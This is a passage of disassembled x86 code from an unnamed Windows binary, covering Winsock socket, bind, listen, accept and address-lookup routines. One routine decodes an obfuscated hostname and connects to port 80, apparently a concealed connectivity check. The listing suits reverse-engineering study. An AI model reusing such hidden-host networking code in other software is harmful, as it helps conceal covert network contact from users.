cmp dword_41E294, 0
jnz short loc_404327
call sub_404279
push eax
push offset dword_41E298
call sub_409C9D
pop ecx
pop ecx
push 1
push offset dword_41E294
call sub_409C9D
pop ecx
pop ecx
loc_404327: ; CODE XREF: sub_4042FB+Aj
mov eax, dword_41E298
pop ebp
retn
sub_4042FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40432E proc near ; CODE XREF: sub_40435B+6p
; sub_4046BC+5Dp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push 0
push 1
push 17h
call ds:dword_417218 ; socket
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jz short loc_404350
push [ebp+var_4]
call sub_4053B1
pop ecx
loc_404350: ; CODE XREF: sub_40432E+17j
xor eax, eax
cmp [ebp+var_4], 0FFFFFFFFh
setnz al
leave
retn
sub_40432E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40435B proc near ; CODE XREF: sub_4083AD:loc_4085D6p
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
call sub_40432E
test eax, eax
jnz short loc_40436E
xor eax, eax
jmp short locret_4043E7
; ---------------------------------------------------------------------------
loc_40436E: ; CODE XREF: sub_40435B+Dj
lea eax, [ebp+var_14]
push eax
call sub_404193
pop ecx
push 1
lea eax, [ebp+var_14]
push eax
call sub_4046BC
pop ecx
pop ecx
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_404392
xor eax, eax
jmp short locret_4043E7
; ---------------------------------------------------------------------------
loc_404392: ; CODE XREF: sub_40435B+31j
push 0BB8h
push 2
lea eax, [ebp+var_14]
push eax
push offset a1 ; "::1"
call sub_4050EA
add esp, 10h
mov [ebp+var_8], eax
push [ebp+var_C]
call sub_404CBB
pop ecx
cmp [ebp+var_8], 0
jz short loc_4043CB
cmp [ebp+var_8], 0FFFFFFFFh
jz short loc_4043CB
mov [ebp+var_18], 1
jmp short loc_4043CF
; ---------------------------------------------------------------------------
loc_4043CB: ; CODE XREF: sub_40435B+5Fj
; sub_40435B+65j
and [ebp+var_18], 0
loc_4043CF: ; CODE XREF: sub_40435B+6Ej
mov eax, [ebp+var_18]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_4043E4
push [ebp+var_8]
call sub_4053B1
pop ecx
loc_4043E4: ; CODE XREF: sub_40435B+7Ej
mov eax, [ebp+var_4]
locret_4043E7: ; CODE XREF: sub_40435B+11j
; sub_40435B+35j
leave
retn
sub_40435B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4043E9 proc near ; CODE XREF: sub_408B30:loc_408C9Fp
; sub_40CA29+231p ...
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 20h
push offset aXsUlsbNP ; "•‘Àž«˜¡Ð¾°¶"
lea eax, [ebp+var_1C]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
lea eax, [ebp+var_1C]
push eax
call sub_4105FB
pop ecx
push 7D0h
push 2
push offset a80 ; "80"
lea eax, [ebp+var_1C]
push eax
call sub_4050EA
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_404439
cmp [ebp+var_8], 0FFFFFFFFh
jz short loc_404439
mov [ebp+var_20], 1
jmp short loc_40443D
; ---------------------------------------------------------------------------
loc_404439: ; CODE XREF: sub_4043E9+3Fj
; sub_4043E9+45j
and [ebp+var_20], 0
loc_40443D: ; CODE XREF: sub_4043E9+4Ej
mov eax, [ebp+var_20]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_404452
push [ebp+var_8]
call sub_4053B1
pop ecx
loc_404452: ; CODE XREF: sub_4043E9+5Ej
mov eax, [ebp+var_4]
leave
retn
sub_4043E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404457 proc near ; CODE XREF: sub_404FE7+AFp
; sub_4050EA+EDp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
xor eax, eax
cmp [ebp+arg_4], 0
setz al
mov [ebp+var_4], eax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push [ebp+arg_0]
call ds:dword_417214 ; ioctlsocket
leave
retn
sub_404457 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40447B proc near ; CODE XREF: sub_40732D+22Ep
; sub_40732D+296p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
push 4004667Fh
push [ebp+arg_0]
call ds:dword_417214 ; ioctlsocket
xor eax, eax
cmp [ebp+var_4], 0
setnz al
leave
retn
sub_40447B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40449C proc near ; CODE XREF: sub_40D871+5A1p
; sub_411DC5+65p
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 84h
mov [ebp+var_84], 80h
lea eax, [ebp+var_84]
push eax
lea eax, [ebp+var_80]
push eax
push [ebp+arg_0]
call ds:dword_417240 ; getsockname
cmp eax, 0FFFFFFFFh
jnz short loc_4044CC
xor eax, eax
jmp short locret_4044F5
; ---------------------------------------------------------------------------
loc_4044CC: ; CODE XREF: sub_40449C+2Aj
push 2
push 0
push 0
push 100h
push [ebp+arg_4]
push [ebp+var_84]
lea eax, [ebp+var_80]
push eax
call dword_41DE88 ; getnameinfo
test eax, eax
jz short loc_4044F2
xor eax, eax
jmp short locret_4044F5
; ---------------------------------------------------------------------------
loc_4044F2: ; CODE XREF: sub_40449C+50j
push 1
pop eax
locret_4044F5: ; CODE XREF: sub_40449C+2Ej
; sub_40449C+54j
leave
retn
sub_40449C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4044F7 proc near ; CODE XREF: sub_40732D+DDp
; sub_4129CA+29p ...
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 84h
mov [ebp+var_84], 80h
lea eax, [ebp+var_84]
push eax
lea eax, [ebp+var_80]
push eax
push [ebp+arg_0]
call ds:dword_417210 ; getpeername
cmp eax, 0FFFFFFFFh
jnz short loc_404527
xor eax, eax
jmp short locret_404550
; ---------------------------------------------------------------------------
loc_404527: ; CODE XREF: sub_4044F7+2Aj
push 2
push 0
push 0
push 100h
push [ebp+arg_4]
push [ebp+var_84]
lea eax, [ebp+var_80]
push eax
call dword_41DE88 ; getnameinfo
test eax, eax
jz short loc_40454D
xor eax, eax
jmp short locret_404550
; ---------------------------------------------------------------------------
loc_40454D: ; CODE XREF: sub_4044F7+50j
push 1
pop eax
locret_404550: ; CODE XREF: sub_4044F7+2Ej
; sub_4044F7+54j
leave
retn
sub_4044F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404552 proc near ; CODE XREF: sub_41331E+A6p
; sub_415F69+256p
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 88h
mov [ebp+var_88], 80h
lea eax, [ebp+var_88]
push eax
lea eax, [ebp+var_80]
push eax
push [ebp+arg_0]
call ds:dword_417240 ; getsockname
cmp eax, 0FFFFFFFFh
jnz short loc_404582
xor eax, eax
jmp short locret_4045B0
; ---------------------------------------------------------------------------
loc_404582: ; CODE XREF: sub_404552+2Aj
lea eax, [ebp+var_80]
mov [ebp+var_84], eax
push 0Ah
push [ebp+arg_4]
mov eax, [ebp+var_84]
mov ax, [eax+2]
push eax
call ds:dword_417238 ; ntohs
movzx eax, ax
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
push 1
pop eax
locret_4045B0: ; CODE XREF: sub_404552+2Ej
leave
retn
sub_404552 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4045B2 proc near ; CODE XREF: sub_4143B0+191p
; sub_415F69+20Ap
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 88h
mov [ebp+var_88], 80h
lea eax, [ebp+var_88]
push eax
lea eax, [ebp+var_80]
push eax
push [ebp+arg_0]
call ds:dword_417210 ; getpeername
cmp eax, 0FFFFFFFFh
jnz short loc_4045E2
xor eax, eax
jmp short locret_404610
; ---------------------------------------------------------------------------
loc_4045E2: ; CODE XREF: sub_4045B2+2Aj
lea eax, [ebp+var_80]
mov [ebp+var_84], eax
push 0Ah
push [ebp+arg_4]
mov eax, [ebp+var_84]
mov ax, [eax+2]
push eax
call ds:dword_417238 ; ntohs
movzx eax, ax
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
push 1
pop eax
locret_404610: ; CODE XREF: sub_4045B2+2Ej
leave
retn
sub_4045B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404612 proc near ; CODE XREF: sub_40D871+69Cp
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = byte ptr -404h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 40Ch
lea eax, [ebp+var_408]
push eax
push 0
push 0
push [ebp+arg_0]
call dword_41DE84 ; getaddrinfo
test eax, eax
jnz loc_4046B8
mov eax, [ebp+var_408]
mov [ebp+var_40C], eax
loc_404643: ; CODE XREF: sub_404612+98j
cmp [ebp+var_40C], 0
jz short loc_4046AC
push 2
push 0
push 0
push 401h
lea eax, [ebp+var_404]
push eax
mov eax, [ebp+var_40C]
push dword ptr [eax+10h]
mov eax, [ebp+var_40C]
push dword ptr [eax+18h]
call dword_41DE88 ; getnameinfo
test eax, eax
jnz short loc_40469B
mov eax, [ebp+var_40C]
cmp dword ptr [eax+4], 2
jnz short loc_40469B
lea eax, [ebp+var_404]
push eax
push [ebp+arg_4]
call sub_416B3A ; strcpy
pop ecx
pop ecx
mov al, 1
jmp short locret_4046BA
; ---------------------------------------------------------------------------
loc_40469B: ; CODE XREF: sub_404612+66j
; sub_404612+72j
mov eax, [ebp+var_40C]
mov eax, [eax+1Ch]
mov [ebp+var_40C], eax
jmp short loc_404643
; ---------------------------------------------------------------------------
loc_4046AC: ; CODE XREF: sub_404612+38j
push [ebp+var_408]
call dword_41DE8C ; freeaddrinfo
loc_4046B8: ; CODE XREF: sub_404612+1Fj
xor al, al
locret_4046BA: ; CODE XREF: sub_404612+87j
leave
retn
sub_404612 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4046BC proc near ; CODE XREF: sub_4020C2+124p
; sub_403DF3+36p ...
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 3Ch
xor eax, eax
test eax, eax
jz short loc_4046D1
mov [ebp+var_3C], 2
jmp short loc_4046D8
; ---------------------------------------------------------------------------
loc_4046D1: ; CODE XREF: sub_4046BC+Aj
mov [ebp+var_3C], 1
loc_4046D8: ; CODE XREF: sub_4046BC+13j
mov eax, [ebp+var_3C]
mov [ebp+var_8], eax
push 1008h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_2C], eax
cmp [ebp+var_2C], 0
jnz short loc_4046F9
xor eax, eax
jmp locret_40486F
; ---------------------------------------------------------------------------
loc_4046F9: ; CODE XREF: sub_4046BC+34j
mov eax, [ebp+var_2C]
and dword ptr [eax], 0
mov eax, [ebp+var_2C]
and dword ptr [eax+804h], 0
push 20h
push 0
lea eax, [ebp+var_28]
push eax
call sub_416B6A ; memset
add esp, 0Ch
call sub_40432E
neg eax
sbb eax, eax
and al, 0FEh
inc eax
inc eax
mov [ebp+var_24], eax
mov eax, [ebp+var_8]
mov [ebp+var_20], eax
mov [ebp+var_28], 5
lea eax, [ebp+var_30]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
push 0
call dword_41DE84 ; getaddrinfo
test eax, eax
jz short loc_40475D
push [ebp+var_2C]
call sub_416B4C ; free
pop ecx
xor eax, eax
jmp locret_40486F
; ---------------------------------------------------------------------------
loc_40475D: ; CODE XREF: sub_4046BC+8Fj
mov eax, [ebp+var_30]
mov [ebp+var_4], eax
jmp short loc_40476E
; ---------------------------------------------------------------------------
loc_404765: ; CODE XREF: sub_4046BC+DDj
; sub_4046BC+F1j ...
mov eax, [ebp+var_4]
mov eax, [eax+1Ch]
mov [ebp+var_4], eax
loc_40476E: ; CODE XREF: sub_4046BC+A7j
cmp [ebp+var_4], 0
jz loc_40484E
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
mov eax, [ebp+var_4]
push dword ptr [eax+8]
mov eax, [ebp+var_4]
push dword ptr [eax+4]
call ds:dword_417218 ; socket
mov [ebp+var_34], eax
cmp [ebp+var_34], 0FFFFFFFFh
jnz short loc_40479B
jmp short loc_404765
; ---------------------------------------------------------------------------
loc_40479B: ; CODE XREF: sub_4046BC+DBj
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 2
jz short loc_4047AF
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 17h
jz short loc_4047AF
jmp short loc_404765
; ---------------------------------------------------------------------------
loc_4047AF: ; CODE XREF: sub_4046BC+E6j
; sub_4046BC+EFj
mov eax, [ebp+arg_4]
and eax, 2
test eax, eax
jz short loc_4047D6
mov [ebp+var_38], 1
push 4
lea eax, [ebp+var_38]
push eax
push 4
push 0FFFFh
push [ebp+var_34]
call ds:dword_417204 ; setsockopt
loc_4047D6: ; CODE XREF: sub_4046BC+FBj
mov eax, [ebp+var_4]
push dword ptr [eax+10h]
mov eax, [ebp+var_4]
push dword ptr [eax+18h]
push [ebp+var_34]
call ds:dword_417208 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_4047FE
push [ebp+var_34]
call sub_4053B1
pop ecx
jmp loc_404765
; ---------------------------------------------------------------------------
loc_4047FE: ; CODE XREF: sub_4046BC+132j
cmp [ebp+var_8], 1
jnz short loc_404822
push 32h
push [ebp+var_34]
call ds:dword_417268 ; listen
cmp eax, 0FFFFFFFFh
jnz short loc_404822
push [ebp+var_34]
call sub_4053B1
pop ecx
jmp loc_404765
; ---------------------------------------------------------------------------
loc_404822: ; CODE XREF: sub_4046BC+146j
; sub_4046BC+156j
mov eax, [ebp+var_2C]
mov eax, [eax]
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_34]
mov [ecx+eax*4+4], edx
mov eax, [ebp+var_2C]
mov eax, [eax]
inc eax
mov ecx, [ebp+var_2C]
mov [ecx], eax
mov eax, [ebp+var_2C]
cmp dword ptr [eax], 200h
jnz short loc_404849
jmp short loc_40484E
; ---------------------------------------------------------------------------
loc_404849: ; CODE XREF: sub_4046BC+189j
jmp loc_404765
; ---------------------------------------------------------------------------
loc_40484E: ; CODE XREF: sub_4046BC+B6j
; sub_4046BC+18Bj
push [ebp+var_30]
call dword_41DE8C ; freeaddrinfo
mov eax, [ebp+var_2C]
cmp dword ptr [eax], 0
jnz short loc_40486C
push [ebp+var_2C]
call sub_416B4C ; free
pop ecx
xor eax, eax
jmp short locret_40486F
; ---------------------------------------------------------------------------
loc_40486C: ; CODE XREF: sub_4046BC+1A1j
mov eax, [ebp+var_2C]
locret_40486F: ; CODE XREF: sub_4046BC+38j
; sub_4046BC+9Cj ...
leave
retn
sub_4046BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404871 proc near ; CODE XREF: sub_411BBC+B0p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
call sub_4046BC
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40488F
xor eax, eax
jmp short locret_4048ED
; ---------------------------------------------------------------------------
loc_40488F: ; CODE XREF: sub_404871+18j
mov eax, [ebp+var_4]
mov eax, [eax]
mov ecx, [ebp+arg_0]
add eax, [ecx]
cmp eax, 200h
jbe short loc_4048AD
push [ebp+var_4]
call sub_404CBB
pop ecx
xor eax, eax
jmp short locret_4048ED
; ---------------------------------------------------------------------------
loc_4048AD: ; CODE XREF: sub_404871+2Dj
mov eax, [ebp+var_4]
mov eax, [eax]
shl eax, 2
push eax
mov eax, [ebp+var_4]
add eax, 4
push eax
mov eax, [ebp+arg_0]
mov eax, [eax]
mov ecx, [ebp+arg_0]
lea eax, [ecx+eax*4+4]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+arg_0]
mov eax, [eax]
mov ecx, [ebp+var_4]
add eax, [ecx]
mov ecx, [ebp+arg_0]
mov [ecx], eax
push [ebp+var_4]
call sub_416B4C ; free
pop ecx
push 1
pop eax
locret_4048ED: ; CODE XREF: sub_404871+1Cj
; sub_404871+3Aj
leave
retn
sub_404871 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4048EF proc near ; CODE XREF: sub_4020C2+22Ep
; sub_403DF3+8Dp ...
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0A8h
push esi
mov [ebp+var_4], 80h
and [ebp+var_8C], 0
jmp short loc_404916
; ---------------------------------------------------------------------------
loc_404909: ; CODE XREF: sub_4048EF+133j
; sub_4048EF:loc_404A32j
mov eax, [ebp+var_8C]
inc eax
mov [ebp+var_8C], eax
loc_404916: ; CODE XREF: sub_4048EF+18j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8C]
cmp ecx, [eax]
jnb loc_404A37
mov eax, [ebp+arg_0]
add eax, 804h
push eax
mov eax, [ebp+var_8C]
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*4+4]
call sub_416E30 ; __WSAFDIsSet
test eax, eax
jz loc_404A32
loc_40494A: ; CODE XREF: sub_4048EF+100j
and [ebp+var_9C], 0
jmp short loc_404960
; ---------------------------------------------------------------------------
loc_404953: ; CODE XREF: sub_4048EF:loc_4049E6j
mov eax, [ebp+var_9C]
inc eax
mov [ebp+var_9C], eax
loc_404960: ; CODE XREF: sub_4048EF+62j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_9C]
cmp ecx, [eax+804h]
jnb short loc_4049EB
mov eax, [ebp+var_9C]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8C]
mov esi, [ebp+arg_0]
mov eax, [ecx+eax*4+808h]
cmp eax, [esi+edx*4+4]
jnz short loc_4049E6
loc_404990: ; CODE XREF: sub_4048EF+E0j
mov eax, [ebp+arg_0]
mov eax, [eax+804h]
dec eax
cmp [ebp+var_9C], eax
jnb short loc_4049D1
mov eax, [ebp+var_9C]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_9C]
mov esi, [ebp+arg_0]
mov edx, [esi+edx*4+80Ch]
mov [ecx+eax*4+808h], edx
mov eax, [ebp+var_9C]
inc eax
mov [ebp+var_9C], eax
jmp short loc_404990
; ---------------------------------------------------------------------------
loc_4049D1: ; CODE XREF: sub_4048EF+B1j
mov eax, [ebp+arg_0]
mov eax, [eax+804h]
dec eax
mov ecx, [ebp+arg_0]
mov [ecx+804h], eax
jmp short loc_4049EB
; ---------------------------------------------------------------------------
loc_4049E6: ; CODE XREF: sub_4048EF+9Fj
jmp loc_404953
; ---------------------------------------------------------------------------
loc_4049EB: ; CODE XREF: sub_4048EF+80j
; sub_4048EF+F5j
xor eax, eax
test eax, eax
jnz loc_40494A
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_84]
push eax
mov eax, [ebp+var_8C]
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*4+4]
call ds:dword_4171FC ; accept
mov [ebp+var_98], eax
cmp [ebp+var_98], 0FFFFFFFFh
jnz short loc_404A27
jmp loc_404909
; ---------------------------------------------------------------------------
loc_404A27: ; CODE XREF: sub_4048EF+131j
mov eax, [ebp+var_98]
jmp loc_404CB8
; ---------------------------------------------------------------------------
loc_404A32: ; CODE XREF: sub_4048EF+55j
jmp loc_404909
; ---------------------------------------------------------------------------
loc_404A37: ; CODE XREF: sub_4048EF+32j
mov eax, [ebp+arg_0]
and dword ptr [eax+804h], 0
and [ebp+var_8C], 0
jmp short loc_404A57
; ---------------------------------------------------------------------------
loc_404A4A: ; CODE XREF: sub_4048EF+21Dj
mov eax, [ebp+var_8C]
inc eax
mov [ebp+var_8C], eax
loc_404A57: ; CODE XREF: sub_4048EF+159j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8C]
cmp ecx, [eax]
jnb loc_404B11
loc_404A68: ; CODE XREF: sub_4048EF+217j
and [ebp+var_A0], 0
jmp short loc_404A7E
; ---------------------------------------------------------------------------
loc_404A71: ; CODE XREF: sub_4048EF:loc_404AB0j
mov eax, [ebp+var_A0]
inc eax
mov [ebp+var_A0], eax
loc_404A7E: ; CODE XREF: sub_4048EF+180j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_A0]
cmp ecx, [eax+804h]
jnb short loc_404AB2
mov eax, [ebp+var_A0]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8C]
mov esi, [ebp+arg_0]
mov eax, [ecx+eax*4+808h]
cmp eax, [esi+edx*4+4]
jnz short loc_404AB0
jmp short loc_404AB2
; ---------------------------------------------------------------------------
loc_404AB0: ; CODE XREF: sub_4048EF+1BDj
jmp short loc_404A71
; ---------------------------------------------------------------------------
loc_404AB2: ; CODE XREF: sub_4048EF+19Ej
; sub_4048EF+1BFj
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_A0]
cmp ecx, [eax+804h]
jnz short loc_404B02
mov eax, [ebp+arg_0]
cmp dword ptr [eax+804h], 200h
jnb short loc_404B02
mov eax, [ebp+var_A0]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8C]
mov esi, [ebp+arg_0]
mov edx, [esi+edx*4+4]
mov [ecx+eax*4+808h], edx
mov eax, [ebp+arg_0]
mov eax, [eax+804h]
inc eax
mov ecx, [ebp+arg_0]
mov [ecx+804h], eax
loc_404B02: ; CODE XREF: sub_4048EF+1D2j
; sub_4048EF+1E1j
xor eax, eax
test eax, eax
jnz loc_404A68
jmp loc_404A4A
; ---------------------------------------------------------------------------
loc_404B11: ; CODE XREF: sub_4048EF+173j
mov eax, [ebp+arg_4]
xor edx, edx
mov ecx, 3E8h
div ecx
mov [ebp+var_94], eax
mov eax, [ebp+arg_4]
xor edx, edx
mov ecx, 3E8h
div ecx
imul edx, 3E8h
mov [ebp+var_90], edx
lea eax, [ebp+var_94]
push eax
push 0
push 0
mov eax, [ebp+arg_0]
add eax, 804h
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call ds:dword_41722C ; select
mov [ebp+var_88], eax
cmp [ebp+var_88], 0
jnz short loc_404B71
or eax, 0FFFFFFFFh
jmp loc_404CB8
; ---------------------------------------------------------------------------
loc_404B71: ; CODE XREF: sub_4048EF+278j
cmp [ebp+var_88], 0FFFFFFFFh
jnz short loc_404B81
xor eax, eax
jmp loc_404CB8
; ---------------------------------------------------------------------------
loc_404B81: ; CODE XREF: sub_4048EF+289j
and [ebp+var_8C], 0
jmp short loc_404B97
; ---------------------------------------------------------------------------
loc_404B8A: ; CODE XREF: sub_4048EF+3B4j
; sub_4048EF:loc_404CB0j
mov eax, [ebp+var_8C]
inc eax
mov [ebp+var_8C], eax
loc_404B97: ; CODE XREF: sub_4048EF+299j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8C]
cmp ecx, [eax]
jnb loc_404CB5
mov eax, [ebp+arg_0]
add eax, 804h
push eax
mov eax, [ebp+var_8C]
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*4+4]
call sub_416E30 ; __WSAFDIsSet
test eax, eax
jz loc_404CB0
loc_404BCB: ; CODE XREF: sub_4048EF+381j
and [ebp+var_A8], 0
jmp short loc_404BE1
; ---------------------------------------------------------------------------
loc_404BD4: ; CODE XREF: sub_4048EF:loc_404C67j
mov eax, [ebp+var_A8]
inc eax
mov [ebp+var_A8], eax
loc_404BE1: ; CODE XREF: sub_4048EF+2E3j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_A8]
cmp ecx, [eax+804h]
jnb short loc_404C6C
mov eax, [ebp+var_A8]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8C]
mov esi, [ebp+arg_0]
mov eax, [ecx+eax*4+808h]
cmp eax, [esi+edx*4+4]
jnz short loc_404C67
loc_404C11: ; CODE XREF: sub_4048EF+361j
mov eax, [ebp+arg_0]
mov eax, [eax+804h]
dec eax
cmp [ebp+var_A8], eax
jnb short loc_404C52
mov eax, [ebp+var_A8]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_A8]
mov esi, [ebp+arg_0]
mov edx, [esi+edx*4+80Ch]
mov [ecx+eax*4+808h], edx
mov eax, [ebp+var_A8]
inc eax
mov [ebp+var_A8], eax
jmp short loc_404C11
; ---------------------------------------------------------------------------
loc_404C52: ; CODE XREF: sub_4048EF+332j
mov eax, [ebp+arg_0]
mov eax, [eax+804h]
dec eax
mov ecx, [ebp+arg_0]
mov [ecx+804h], eax
jmp short loc_404C6C
; ---------------------------------------------------------------------------
loc_404C67: ; CODE XREF: sub_4048EF+320j
jmp loc_404BD4
; ---------------------------------------------------------------------------
loc_404C6C: ; CODE XREF: sub_4048EF+301j
; sub_4048EF+376j
xor eax, eax
test eax, eax
jnz loc_404BCB
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_84]
push eax
mov eax, [ebp+var_8C]
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*4+4]
call ds:dword_4171FC ; accept
mov [ebp+var_A4], eax
cmp [ebp+var_A4], 0FFFFFFFFh
jnz short loc_404CA8
jmp loc_404B8A
; ---------------------------------------------------------------------------
loc_404CA8: ; CODE XREF: sub_4048EF+3B2j
mov eax, [ebp+var_A4]
jmp short loc_404CB8
; ---------------------------------------------------------------------------
loc_404CB0: ; CODE XREF: sub_4048EF+2D6j
jmp loc_404B8A
; ---------------------------------------------------------------------------
loc_404CB5: ; CODE XREF: sub_4048EF+2B3j
or eax, 0FFFFFFFFh
loc_404CB8: ; CODE XREF: sub_4048EF+13Ej
; sub_4048EF+27Dj ...
pop esi
leave
retn
sub_4048EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404CBB proc near ; CODE XREF: sub_4020C2+175p
; sub_4020C2+25Fp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_404CCC
; ---------------------------------------------------------------------------
loc_404CC5: ; CODE XREF: sub_404CBB+3Ej
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_404CCC: ; CODE XREF: sub_404CBB+8j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
cmp ecx, [eax]
jnb short loc_404CFB
cmp dword_41DE38, 0
jz short loc_404CE9
mov eax, [ebp+arg_0]
cmp dword ptr [eax], 64h
jbe short loc_404CE9
jmp short loc_404CFB
; ---------------------------------------------------------------------------
loc_404CE9: ; CODE XREF: sub_404CBB+22j
; sub_404CBB+2Aj
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*4+4]
call sub_4053B1
pop ecx
jmp short loc_404CC5
; ---------------------------------------------------------------------------
loc_404CFB: ; CODE XREF: sub_404CBB+19j
; sub_404CBB+2Cj
mov eax, [ebp+arg_0]
and dword ptr [eax+804h], 0
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
leave
retn
sub_404CBB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404D10 proc near ; CODE XREF: sub_41349C+1B7p
; sub_4143B0+3Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 200h
jbe short loc_404D21
xor eax, eax
jmp short locret_404D4B
; ---------------------------------------------------------------------------
loc_404D21: ; CODE XREF: sub_404D10+Bj
push 1010h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_404D39
xor eax, eax
jmp short locret_404D4B
; ---------------------------------------------------------------------------
loc_404D39: ; CODE XREF: sub_404D10+23j
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov eax, [ebp+var_4]
and dword ptr [eax+4], 0
mov eax, [ebp+var_4]
locret_404D4B: ; CODE XREF: sub_404D10+Fj
; sub_404D10+27j
leave
retn
sub_404D10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404D4D proc near ; CODE XREF: sub_41349C+417p
; sub_4143B0+109p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
